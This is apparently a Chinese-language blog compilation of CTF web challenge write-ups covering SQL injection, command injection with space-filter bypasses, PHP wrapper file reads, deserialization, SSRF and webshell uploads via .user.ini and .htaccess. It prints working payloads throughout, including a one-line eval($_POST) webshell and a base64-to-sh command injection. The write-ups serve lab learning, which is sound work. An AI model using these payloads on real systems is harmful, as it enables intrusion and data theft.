[SUCTF 2019]EasySQL
然后各种尝试,发现了符号||有些不一样,但是没啥用,有可能是盲注,我们发现有数组,试一下堆叠注入。
输入1;show tables
出现了Flag,感觉EasySQL应该比较简单,直接查看字段,返回nonono,以为是把Flag符号过滤,进行十六进制编码,还是不行。实在没得思路,看一下大佬的wp。
select $_GET['query'] || flag from Flag;
大佬,居然可以猜出后台语句,哈哈哈。
符号||的意思是或,当1||后面的flag等于1,这时候sql语句就变成了
select 1 from Flag;
返回1
这里我们多加个符号就可以查询表的全部数据
select *,1 from Flag
这里多了一个1会新创建一个字段名为1每个数据都为1的数据。
构造payload:*,1
即可获得flag。
本题特解关键:MySQL使用select查询时,如果有不存在的字段名,则会自动创建,不会报错,逻辑与运算,同时*可以查询所有数据,没被过滤。
常规做法:
堆叠注入。
也是需要跟逻辑与相关,官方payload:
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
关于 sql_mode
: 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT
将 ||
视为字符串的连接操作符而非 “或” 运算符。
还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 ||
相当于是将 select 1
和 select flag from flag
的结果拼接在一起
其实相当于变成了
1 | select 1,flag from flag |
[ACTF2020 新生赛]Include
看见文件包含,还有?file=flag.php提示,直接伪协议读取文件。
首先使用php://input
协议,直接弹出hack,再试一下,php://filter
协议,一看返回了一大串base64编码就知道成功了。
解码得到flag.
本题关键:PHP伪协议
[极客大挑战 2019]Secret File
先查看源码,发现超链接,我们访问./Archive_room.php
点击secret,直接跳转了,查看网络,中间还有个网页,跳转速度很快,使用burp访问,得到secr3t.php
访问一下,得到源码。
1 | <html> |
又是php伪协议读取文件,这里很明显过滤了../和tp和input和data,filter没被过滤,照样用上一篇文章的方法读取文件,得到flag。
本题关键:PHP伪协议
[GXYCTF2019]Ping Ping Ping
这是一道有关ping命令的题目。
先输入127.0.0.1|ls
发现两个文件index.php,flag.php。
直接使用cat命令抓flag,失败了,回显fxck your space!很明显空格符号被过滤了。
这里用前面bugku靶场web36关的方法绕过空格过滤,尝试了一下,发现{}也被过滤了,有一个没被过滤查看到了源码。
发现flag字符给正则表达式过滤了,很难受,这里不会绕过,上网学习了。
网上的师傅使用的拼接符是***; 这个符号作用是:前面的执行完执行后面的***。
顺便复习一下:
|(管道符)的作用是:上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)。
||作用:当前面的执行出错时(为假)执行后面的
command1&&command2 先执行1,执行成功后,执行2。
只有一个&时,无论1有没有被执行,2都会执行。
补充一些命令绕过空格的方法:
1 | $IFS |
方法一:变换位置赋值绕过。
构造payload:
127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
或者:
127.0.0.1;a=g;cat$IFS$9fla$a.php
方法二:内联执行
内联,就是将反引号内命令的输出作为输入执行。
构造payload:
1 | 127.0.0.1;cat$IFS$9`ls` |
方法三:通过执行sh命令来执行(题目中bush被过滤)
sh是linux中运行shell的命令,bash相当于sh的升级。
cat flag.php经base64加密,
1 | 127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
[护网杯 2018]easy_tornado
看到标题tornade,百度了一下,Tornado是使用Python编写的Web服务器兼Web应用框架,就联想到了模板注入,再查看一下三个文件,welcome.txt文件有个render()函数,它是渲染函数,进行服务器端渲染,最后访问/hints.txt,发现md5加密,其中有个cookie_secret。首先要获得这个值:
观察了url由文件名和文件哈希值组成,随便修改一下哈希值,就跳转到新的url,这里就存在这ssti注入。(通过这里也可以知道我们要算出题目要求的哈希值,才可以获得flag。)
查看了一下tornado官网,发现了RequestHandler.settings,尝试输入,没有结果,学习了一下大佬的,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
获得了cookie_secret值(不需要加密引号),就可以相应的进行加密了,记得加密flag文件不要漏了/,先对/fllllllllllllag加密,记得都是32位小写的(其他位数不行?)以后直接用php的md5加密就好了。
本题关键:通过提示tornado来获取cookie_secret值()。
[极客大挑战 2019]BabySQL
判断注入类型为单引号。
构造admin'--+
猜字段数为3,4报错,这里的or和by要双写绕过。
可以开始爆数据库了,同样都是双写union和select绕过,获得数据库名geek。
爆数据表,全是双写绕过。
爆出字段id,username,password,最后爆出flag。
-admin' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom b4bsql--+&password=123
这题很简单,就是没想到那么多双写。
本题关键:双写
[RoarCTF 2019]Easy Calc
这是一个计算器
找到了calc.php,访问得到源码。
1 |
|
本题重点在于php字符串解析特性:可以看一下这篇文章:https://www.freebuf.com/news/213359.html
我们在num前面加个空格,可以绕过waf,因为php在解析时,会把空格去掉。
获得了php版本信息:
在 phpinfo 中可以发现 system、exec 这一类命令执行的函数被禁用了。
可以使用函数var_dump(),此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。还有函数scandir() ,此函数返回指定目录中的文件和目录的数组,配合查找文件,并查看。
由于/被过滤了,我们可以用chr(ascii)来绕过,
? num=1*1;var_dump(scandir(chr(47)))
来读取目录,
发现flagg。
最后通过函数file_get_contents读取文件内容,获得flag。
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
本题关键:PHP字符串解析特性,通过函数var_dump()和scandir()配合读文件,再通过chr(ascii)绕过代替../
[极客大挑战 2019]Http
看了标题,http,打开burp查看一下。
发现了Secret.php文件
访问后,要求来自https://www.Sycsecret.com,然后要求浏览器改成Syclover,改后,还要在本地查看flag。修改3个地方即可。
本题关键:http类,通过burp查看其他网页,也可以f12,查看源码找到关键文件。
[极客大挑战 2019]PHP
使用dirsearch扫描目录,会被限制,一直跳400。
可以使用burp,构造相关文件字典进行爆破,查看到www.zip下载下来。
看见flag.php,打开一看就知道是假的了,这里主要分析class.php,应该是反序列化漏洞。
1 | <?php |
在index.php查看源码,通过select传参,存在反序列化漏洞。
1 |
|
这题的序列化,相比以前多了一个private,这个与全局变量形成对比,表示私有字段,只在所声明的类中可见,所以这里序列化的结果前面有类名,
从图片中可以看出类名和字段名前面都有个符号,原来,私有字段的字段名在序列化时,属性名和属性值前面都会加上0的前缀。发现这里的字符串数为14,明显多了。
由于在url,所以我们构造%00,成功绕过,记得修改属性个数大于实际属性个数,可以绕过函数wake_up()。
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
获得flag。
本题关键:通过定义私有变量private构造序列化来满足题目要求的值,并修改属性个数的值大于实际属性个数,绕过wake_up()函数。
补充:
也可以通过python提交:
1 | import requests |
这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。所以会导致,上面复制不了。
[极客大挑战 2019]Upload
新学了一些文件名绕过姿势:phtml
这里要注意:需要 apache支持解析 phtml
该文件类型可以执行php代码。
注意这四个地方,即可上传成功并执行一句话木马。
本题关键:后缀名为phtml的一句话木马。
[HCTF 2018]admin
这题我做的很离谱,找到登陆页面,直接输入用户名admin,密码就随便输了个123,就得到flag了,很巧合。
百度了一下,本题有三种解法哈哈哈,总结一下,这里可能是服务器端出现问题了。
这里没办法复现,参考一下大佬的文章。
https://www.jianshu.com/p/f92311564ad0
[极客大挑战 2019]BuyFlag
看到学生要来自CUIT,刚开始以为是添加Referer字段,结果试了很多次都不行,这里好好观察一下cookie值。
改成user=1即可,然后说数字过长了。
通过数组绕过,得到flag。
或者使用科学计数法,
本题关键:科学计数法或数组绕过长度限制。
[BJDCTF2020]Easy MD5
请求头发现提示。
首先看一下md5函数的语法,
https://www.w3school.com.cn/php/func_string_md5.asp
当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,对应的字符就是ffifdyop,解出这个字符串需要脚本,还不大会。
1 | 129581926211651571912466741651878684928 |
这里后台的sql语句是:$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
我们要绕过md5就需要得到sql语句:
$sql = "SELECT * FROM admin WHERE username = 'admin' and **1**;
这样就可以查到名为admin的数据
想返回1,利用MySQL一些语法特性:
测试了一下,前面为非0数字结果返回就为1。
输入密码 ffifdyop,
经md5后返回,前面返回有’’ or ‘6,可以满足永真式。
跳转到 levels91.php
查看源码,直接通过数组绕过。
分别通过get和post提交参数。
本题关键:找到md5后能返回永真式的字符串,同万能密码一样。
[SUCTF 2019]CheckIn
本题绕过了文件内容,文件类型,还有文件名检查,成功上传了图片,但是没办法执行一句话木马。
这里我们想到了upload的**.user.ini** 文件和**.htaccess**文件,先试一下第一个
我们上传内容为GIF89A auto_prepend_file=1.jpg的.user.ini文件,然后再上传一个名为1.jpg的一句话木马。
1 | GIF89a <script lanuage="php">@eval($_POST[1]);</script> |
连接蚁剑发现了一个文件/clean.sh,所以这里操作要快,不然上传的文件会被删除,
连接的时候后面接上index.php。
为什么后面要加上index.php呢,查看源码,发现
看了一下源码,没过滤好.htaccess,因为少了一个c,但是上传了,也解析不了,为什么?
因为.htaccess
只适用于apache,看了一下服务器使用的中间件是nginx,.user.ini适用于nginx/apache/IIS。
本题关键:上传.user.ini文件
[ZJCTF 2019]NiZhuanSiWei
关键函数file_get_contents()
1 | php |
首先要读取文件内容,需要使用到php伪协议,加密的时候不要加双引号。
再读取useless.php文件内容:
base64解码得到源码:
1 |
|
这里的file是可控的,我们修改成我们需要的然后进行序列化。
这里还要给file赋值useless.php,文件包含的是useless.php。
最后payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
f12就找到flag了。
本题关键:PHP伪协议,序列化修改可控参数读取文件。
[CISCN2019 华北赛区 Day2 Web1]Hack World
感觉这题又是盲注了,测试了一下,ascii,substr,<>,^没有被过滤。
跟前面写的脚本原理类似。放脚本
1 | import requests |
[极客大挑战 2019]HardSQL
首先输入一个单引号出现报错,并且在密码附近,所以注入点应该在密码。
再测试一下,发现符号||被过滤了,我们可以用异或符号代替,^,这个方法很好用。
使用函数updatexml()实现报错注入。
爆出数据库,然后通过括号绕过空格过滤,用like代替=,爆出数据表。
?username=admin&password='^updatexml(1,concat(0x7c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1)%23
爆出字段名
爆出flag。
?username=admin&password='^updatexml(1,concat(0x7c,(select(group_concat(id,username,password))from(H4rDsq1))),1)%23
好像还有一半,我们想用limit函数查一下,但是加了括号函数就会报错,可以使用left()right()语句查询拼接。
?username=admin&password='^updatexml(1,concat(0x7c(select(group_concat(right(password,30)))from(H4rDsq1))),1)%23
最后拼接得到flag。
本题关键:异或报错注入,like代替=绕过空格,left和right函数使用。
[网鼎杯 2018]Fakebook
先注册一个,然后发现用户名可以点击,跳转新的url,url末尾通过?no=传参。
尝试爆破一下数字,返回结果一样,试一下有没有sql注入。
习惯性加了单引号,报错,我们再加注释,还是报错,本题有可能是数字型的。
输入:
?no=1 order by 4
?no=1 order by 5
报错,判断得出字段数为4。
直接爆库,发现存在waf,这里get了新姿势,通过/**/绕过空格的
?no=-1/**/union/**/select/**/1,database(),3,4
这里选择字段2,因为字段2在页面才有回显,爆出库名为fakebook
查表:
?no=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),3,4
得到表users,这里一般后面不直接接库名,不然怕还有waf。
接着爆出字段名,
?no=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='users'),3,4
先爆几个比较重要的字段。
?no=-1/**/union/**/select/**/1,(select/**/group_concat(username,passwd,data)from/**/users),3,4
看见序列化,这里并没有flag,应该还有别的页面,跑一下目录。
扫到robots.txt,访问一下,user.php.bak,下载源码。
1 |
|
再看一下data数据的内容:O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:15;s:4:”blog”;s:16:”sadasd.github.io”;}
还记得前面报错有出现unserialize()函数,我们这里需要对什么进行序列化?
很明显跟博客地址有关系,再看看一开始的图片,相当于把这个图片内容打印出来,我们可以通过这个方式读取flag。
由于blog在字段4,我们就在字段4构造序列化,通过file://读取文件造成ssrf漏洞,(序列化后传入,系统将其反序列化,我们成功传入值会被传递到页面ifram里面 这样就造成SSRF攻击)
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:15;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
返回了内容,通过burp查看,
这题是sql注入和ssrf注入漏洞结合。
本题关键:数字型注入,注释符代替空格,序列化ssrf攻击。
[GXYCTF2019]BabySQli
Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案,编码后的字符串不用区分大小写并排除了容易混淆的字符,可以方便地由人类使用并由计算机处理。
Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码。
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。 一般看后缀有个=就很好区别出来。
看见源码有内容,先base32解码,再进行base64解码,得到sql语句。
select * from user where username = '$name'**
可以知道表名是user,单引号注入型。
union和select都被过滤了,get新姿势,直接盲猜字段数量。
再输入3,没报字段数错误,可以得到字段数为3。
括号被过滤了,很难受。想不到其他办法,测试耗时间,直接源码。
1 | <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--> |
知识点:MySQL在查询数据不存在时,联合查询会构造一个虚拟的数据在数据库中。
这里两个条件,返回三个字段数据,第一个if要求字段2数据为“admin”
第二个if要求password经md5加密=字段3的数据。
构造payload:
name=-admin' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23&pw=123
本题关键:MySQL查询数据,不存在会自动创建一个虚拟的数据在数据库中。
[网鼎杯 2020 青龙组]AreUSerialz
1 |
|
代码审计一下,PHP反序列化的漏洞,通过控制read()读取flag.php的内容。
根据源码,构造一下序列化代码:
1 | <?php |
得到的序列化:粘贴不出后面的,被截断了,中间有不可见字符\00*\00,根据前面都是public
我们把protected改成public。
1 |
|
得到序列化:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"abc";}
通过str传参,f12查看flag。
这里有很多知识点,
1、is_valid()函数规定字符的ASCII码必须是32-125,即要求每个字符都是可打印的,而protected属性在序列化后会出现不可见字符\00\00,转化为ASCII码不符合要求。
绕过方法有两种:
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。(第一次测试就是这种方法绕过,还是public属性好啊)
在前面做的题目有private属性,会引入两个\x00,(\x00就是ascii的0)这个字符显示和输出看不到,甚至导致阶段,在urlencode后可以看见,所以protected属性会引入\x00\x00,我们把原本的乱码替换一下即可,好像不行,返回 Bad Hacker!。这里的s表示字符串类型,要改成大写S,表示支持后面的字符串用16进制。
得到payload:
?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:3:"abc";}
本题关键:确定属性个数,然后进行序列化,第一种使用public属性,由于PHP7.1以上对属性不敏感,第二种private属性,通过把小写s修改成大写s,输入不可见字符。
[MRCTF2020]你传你🐎呢
很粗俗的标题,原来是有个有关.htaccess文件上穿漏洞,这里试一下就知道了。
在前面upload已经刷过了,我们首先上传一个.htaccess文件,它可以把我们上传jpg后缀的文件解析成php,然后当作php代码执行。
在.htaccess文件输入:
SetHandler application/x-httpd-php
这样上传的jpg就会被当作php代码执行,
在上传.htaccess有个小绕过,把文件类型改成image/jpeg即可。
上传成功后,在上传一个jpg后缀的一句话木马,再次上传成功,得到文件路径。
就可以直接连接蚁剑了。
这里要特别注意文件的路径,不然后面蚁剑连接不上。
关于.htaccess详解可以看看:
https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
本题关键:.htaccess文件上传。
[GYCTF2020]Blacklist
堆叠注入,过滤了set|prepare|alter|rename|select|update|delete|drop|insert|where且不区分大小写,想通过上次修改表名还有字段名以及类型来默认查询出flag,但是rename给替换了,想不到什么方式绕过。看了一下wp,get新姿势。
可以使用handler读取表中数据。
关于handler可以看一下:https://www.jb51.net/article/88732.htm
https://dev.mysql.com/doc/refman/8.0/en/handler.html(语法)
1 | HANDLER tbl_name OPEN [ [AS] alias] |
构造payload:
1';handler FlagHere open;handler FlagHere read first;#
我们目的是读取表中的flag,这里不用handler FlagHere close 也可以。
本题关键:堆叠注入handler的使用。
[MRCTF2020]Ez_bypass
1 | I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } } |
通过数组绕过第一if条件。
因为md5加密数组的结果都为null值,两个比较相等。
第二个绕过也很简单,弱类型比较,post提交参数,得到flag。
本题关键:弱类型比较,md5绕过。
总结
1、对于sql注入,fuzz测试来检查过被过滤的符号。
2、在MySQL查询数据时,多加不存在的字段名,MySQL会新创建出来,不会出现语法错误。
3、php伪协议,在ctf中php://filter很常用,php:input和data经常被过滤。
4、内联执行:内联,就是将反引号内命令的输出作为输入执行。
如:pingpingping那题
1 | 127.0.0.1;cat$IFS$9`ls` |
5、还有命令绕过空格的方法:
$IFS
IFS
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
6、查找cookie_secret值方法:通过ssti注入,tornado的应用框架。
7、双写绕过sql注入。
8、php字符串解析特性:php在解析时会把空格去掉。
9、函数var_dump()和scandir() var_dump(scandir(路径))
10、反斜杠被过滤了通过,char(num)来过滤。num是acsii对应的数字。
11、php反序列化漏洞,不用自己写序列化,直接利用源码,根据题目要求构造新的属性值;
区分三个类属性public,private还有protected。
后面两个会出现不可见字符,private为%00,属性名和属性值前面都会加上0,protected为\00\00仅出现在属性名前。*
12、新get的文件上传后缀名:phtml。
13、.user.ini和.htaccess文件上传。
14、sql注入^代替||,like代替=,括号代替空格,//绕过空格。**
15、handler用法,查询表中数据。
1 | handler 表名 open;handler 表名 read first/next ;handler 表名 close |
16、MySQL,sql_mode=PIPES_AS_CONCAT,可以将||符合变成连接符。